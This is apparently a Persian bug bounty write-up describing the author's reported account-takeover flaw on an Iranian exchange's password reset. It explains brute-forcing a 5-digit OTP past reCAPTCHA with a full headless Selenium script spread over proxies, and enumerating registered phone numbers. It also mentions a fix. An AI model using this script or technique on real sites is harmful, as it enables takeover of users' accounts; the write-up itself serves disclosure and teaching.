نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

11 اکتبر 2023

سلام من علی ام (soloboy)،تقریبا یک سال و دو ماهی میشه که امنیت رو شروع کردم قبلش پیش زمینه خاصی نداشتم و بر اساس علاقه‌ام اومدم سمتش. من کارمو رو پلتفرم HackerOne شروع کردم و چند تا VDP روی پروگرماش پیدا کردم بعدش با خودم گفتم دیگه وقتشه رو تارگت RDP کار کنم، چند تا سایت رو انتخاب کردم و روشون کار کردم ولی متاسفانه نتونستم چیزی پیدا کنم چون خیلی سنگین بودن. بعدش یه تارگت ایرانی بار خورد و چون صرافی بود نظر منو جلب کرد، روش کار کردم و خوشبختانه تونستم اولین باگ RDPیم رو بزنم.

من کلا وقتی می‌خوام رو یه تارگت نرو ریکان رو شروع کنم، اولین جایی که بهش سر میزنم بخش Authentication هستش، چون بهش خیلی علاقه دارم. با این سایتم همین کارو کردم و اومدم پروسه ساختن اکانت و لاگین و اینجور چیزا رو تست کردم، چیز خاصی پیدا نکردم و رفتم سراغ بخش Forgot Password. تو این سایت به ۲ حالت میشد فرایند Forgot Password رو انجام داد.
یکی وقتی لاگین کردی و میخوای رمزت رو عوض کنی که اینجا تستای مختص به خودش رو داره مثلا میخواستم CSRF تست کنم ولی چون واسه عوض کردن پسوورد رمز فعلی کاربر رو میخواست امکان پذیر نبود.
دومی قبل لاگین کردن بود، زدم رو Forgot Password ازم شماره خواست شماره رو وارد کردم، دیدم به‌به داره با کد OTP کار می‌کنه.

یکم باهاش ور رفتم و اینارو فهمیدم:

  • کدی که میفرسته ۵ رقمی هستش
  • وقتی کد اشتباهی وارد کنی کد اصلی اکسپایر نمیشه
  • هر کد OTP تا ۱۰ دقیقه معتبر هستش یعنی میتونی تا ۱۰ دقیقه بعدی ازش استفاده کنی

همین چند تا فاکتور کافی بود که شکم واسه بروت‌فورس کردن چند برابر بشه. چند تا سناریو به ذهنم رسید واسه بروت‌فورس که اولیش با برپ‌اینترودر بود:
رکوئست اصلی رو گرفتم و فرستادم Burp Intruder ولی ارور گوگل کپچا داد، بررسی کردم و فهمیدم تو فرایند Forgot Password تو هر رکوئست اصلی کپچای گوگل هم فرستاده میشه. یعنی قبل اینکه کاربر کد OTP رو بفرسته، اول رکوئست میزنه به گوگل کپچا و کپچا رو میگیره و تو رکوئست اصلی که حاوی OTP کد هستش کپچا رو میزاره

رکوئست اول برای گرفتن کپچا از گوگل(هربار یه بادی متفاوت فرستاده میشه):

تو ریسپانس کپچا برمیگرده:

تو رکوئست اصلی، کپچا و کد OTP ارسال میشه:

اگه کپچای اشتباهی بزنی یا کلا کپچا رو نذاری یا کپچا رو دو بار استفاده کنی سایت قبول نمیکنه، پس ما واسه بروت‌فورس به کپچای گوگل نیاز داریم.

سناریو دوم که به ذهنم رسید این بود که یه اسکریپت بنویسم که بیاد اول رکوئست بزنه به گوگل کپچا و کپچا رو بگیره بعد تو رکوئست اصلی کپچا رو بزاره که این سناریو هم جواب نداد چون رکوئستی که به سمت گوگل میرفت POST بود و یه باندی رندوم خیلی طولانی میفرستاد که غیر قابل حدث بود.

روشایی که تست کردم جواب ندادن، آخرین سناریویی که به ذهنم رسید این بود که یه اسکریپت بنویسم تا بیاد فرایند طبیعی سایت رو طی کنه تا رکوئستمون حاوی کپچای معتبر باشه.

یک اسکریپت با پایتون و سلنیوم نوشتم که بیاد این فرایند رو به صورت اتومیت انجام بده(دقیقا همون فرایند وارد کردن شماره و بعد هم تست کردن یکی یکی اعداد پنج رقمی به صورت headless (برای اجرا کد روی سرور و بدون نیاز به محیط گرافیکی))

جهت اطمینان از اینکه احیانا آیپی سرور توسط CDN و یا گوگل کپچا بلاک نشه، ۵ تا کانفیگ v2ray ساختم تا کل رکوئست ها از یه آیپی نباشن بلکه بین ۵ تا آیپی تقسیم بشن.

اسکریپت رو ۵ بار به صورت همزمان از طریق ۵ تا آیپی مختلف اجرا کردم و بازه ۱۰۰۰ تایی رو تونستم بروت‌فورس کنم.
همین برای PoC کافی بود چون نشون میداد که هیچ پروتکشنی سمت سرور نیست و ما تو حمله اصلی فقط نیاز داریم آیپی های بیشتری داشته باشیم تا بتونیم کل اعداد پنج رقمی رو بروت‌فورس کنیم.

اسکریپت:

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import time
from selenium.webdriver.common.by import By

#Add your chromedriver binary 
chromedriver_path = ""
service = Service(executable_path=chromedriver_path)
options = webdriver.ChromeOptions()
# Proxy address
PROXY = "127.0.0.1:2081"
options.add_argument('--proxy-server=%s' % PROXY)
options.add_argument("--headless")
driver = webdriver.Chrome(service=service, options=options)

driver.get("https://domain.com/ForgetPassword")
time.sleep(10)
phone_number = driver.find_element(By.XPATH,'//*[@id="mobile"]')
victim_number = ""
phone_number.send_keys(victim_number)
time.sleep(1)
button = driver.find_element(By.XPATH,"/html/body/div/div/div/div/div/div/div/form/div[2]/button").click()
button2 = None
while not button2:
    try:
        button2 = driver.find_element(By.XPATH,"/html/body/div[2]/div/div[3]/button[1]").click()
        time.sleep(5)
        #The list of OTPs.
        otp_file_path = ""
        otp = open(otp_file_path, "r")
        for o in otp:

            element=driver.find_element(By.ID,"code")
            element.send_keys(o)
            print(o)
            # time.sleep(1)
            element2=driver.find_element(By.XPATH,"/html/body/div/div/div/div/div/div/div/form/div[3]/button")
            element2.click()
            element3 = None
            while not element3:
                try:
                    element3=driver.find_element(By.XPATH,"/html/body/div[2]/div/div[3]/button[1]")
                    element3.click()
                except:
                    pass
            element.clear()    
    except:
        pass


time.sleep(200)

خوب من تا حالا تونستم که باگ رو بزنم یعنی اگه یه شماره ای از قربانی داشته باشم که تو سایت ثبت‌نام کرده میتونم اکانتش رو تیک اوور کنم.
ولی یه کار دیگه هم کردم تا ایمپکت باگ بالاتر بره، تو همین اندپوینت وقتی شماره ای رو میزدی که وجود نداشت قشنگ مینوشت “کاربری با این شماره موبایل ثبت نام نکرده است”.

ولی وقتی شماره ای که تو سایت ثبت نام شده بود میزدی اوکی بود، خب من میتونم از همین اندپوینت تمام شماره های ثبت شده تو سایت رو در بیارم یعنی بیام کل حالت های مختلف شماره هارو در بیارم و بیام اینجا تستشون کنم و بر اساس پیامی که میده بفهمم که این شماره ثبت نام شده یا نه.
و وقتی شماره های ثبت نام شده رو دربیارم میتونم همشون رو تیک اوور کنم.(این مورد خودش آسیب‌پذیری جدا حساب میشه و میتونه مدیوم تریاژ بشه)

باگ رو گزارش دادم و خوشبختانه قبول کردن و کریتیکال تریاژ شد.

این بود داستان اولین باگ RDP من، اگه جایی مشکلی داشت یا مفهوم نبود تو کامنتا بپرسین خوشحال میشم جواب بدم.

1 پست نوشته شده
  • به اشتراک بگذارید:
  1. محمد گفت:

    باریکلا عالی به این میگن ذهن هکری .

  2. Huntali گفت:

    چشم نواز بود!👌😁
    ممکنه بهم بگی پایتون رو چطوری انقدر خوب یاد گرفتی و چه منابعی رو خوندی و از کجا یاد گرفتی؟

    • soloboy گفت:

      ممنون. والا اسکریپتی که نوشتم همچینم خفن نبود فقط کار میکرد. ولی یه نکته بگم واسه یادگیری اینه که اول سینتکسشو یاد بگیر حالا از یوتیوب یا داکیومنتیشن خود سایت پایتون و… بعدش یه پروژه ساده انتخاب کن و سعی کن اونو پیاده سازی کنی(ترجیحا پروژه‌ای که از قبل وجود داشته باشه انتخاب کنی بهتره چون اگه نتونی بنویسی اونو بخونی کامل متوجه بشی)

  3. mohamad گفت:

    سلام وقت بخیر ممنون بابت توضیح خوب این اسیب پزیری من اینجا یه سوال داشتم اگر از سه مورد زیر فقط مورد ۳ رو برنامه نویس ۲ دقیقه تنظیم میکرد بازم میشد bruteforce کرد؟
    کدی که میفرسته ۵ رقمی هستش
    وقتی کد اشتباهی وارد کنی کد اصلی اکسپایر نمیشه
    هر کد OTP تا ۱۰ دقیقه معتبر هستش یعنی میتونی تا ۱۰ دقیقه بعدی ازش استفاده کنی

    • soloboy گفت:

      سلام لطف داری، نه حتی با تنظیم ۲ دقیقه و کمتر بازم میشه بروت‌فورس کرد، فقط کافیه اسکریپت رو به جای ۵ بار اجرا کردن مثلا ۲۰ بار اجرا کنی.
      بهترین راه برای جلوگیری از این آسیب‌پذیری ایجاد محدودیت برای منقضی شدن کد هستش یعنی مثلا اگه کاربر ۳ بار پشت سرهم کد رو اشتباه وارد کنه کد اصلی منقضی بشه.

  4. سانو گفت:

    سناریو قشنگی بود،
    موفق باشی.

  5. Feri گفت:

    عالی بود دمت گرم
    اگر کپچا فیزیکی بود چی؟

  6. مصطفی گفت:

    آفرین رایتاپ خوبی بود.
    ولی هر چی فکر میکنم باید یه راهی برای کپچای گوگل می بود غیر از سلنیوم چون درخواست داره از سمت کلاینت ارسال می شه و Bodyش یه چیز رمز شده است. پس توکنی چیزی توی جاوا اسکریپت باید پیدا بشه.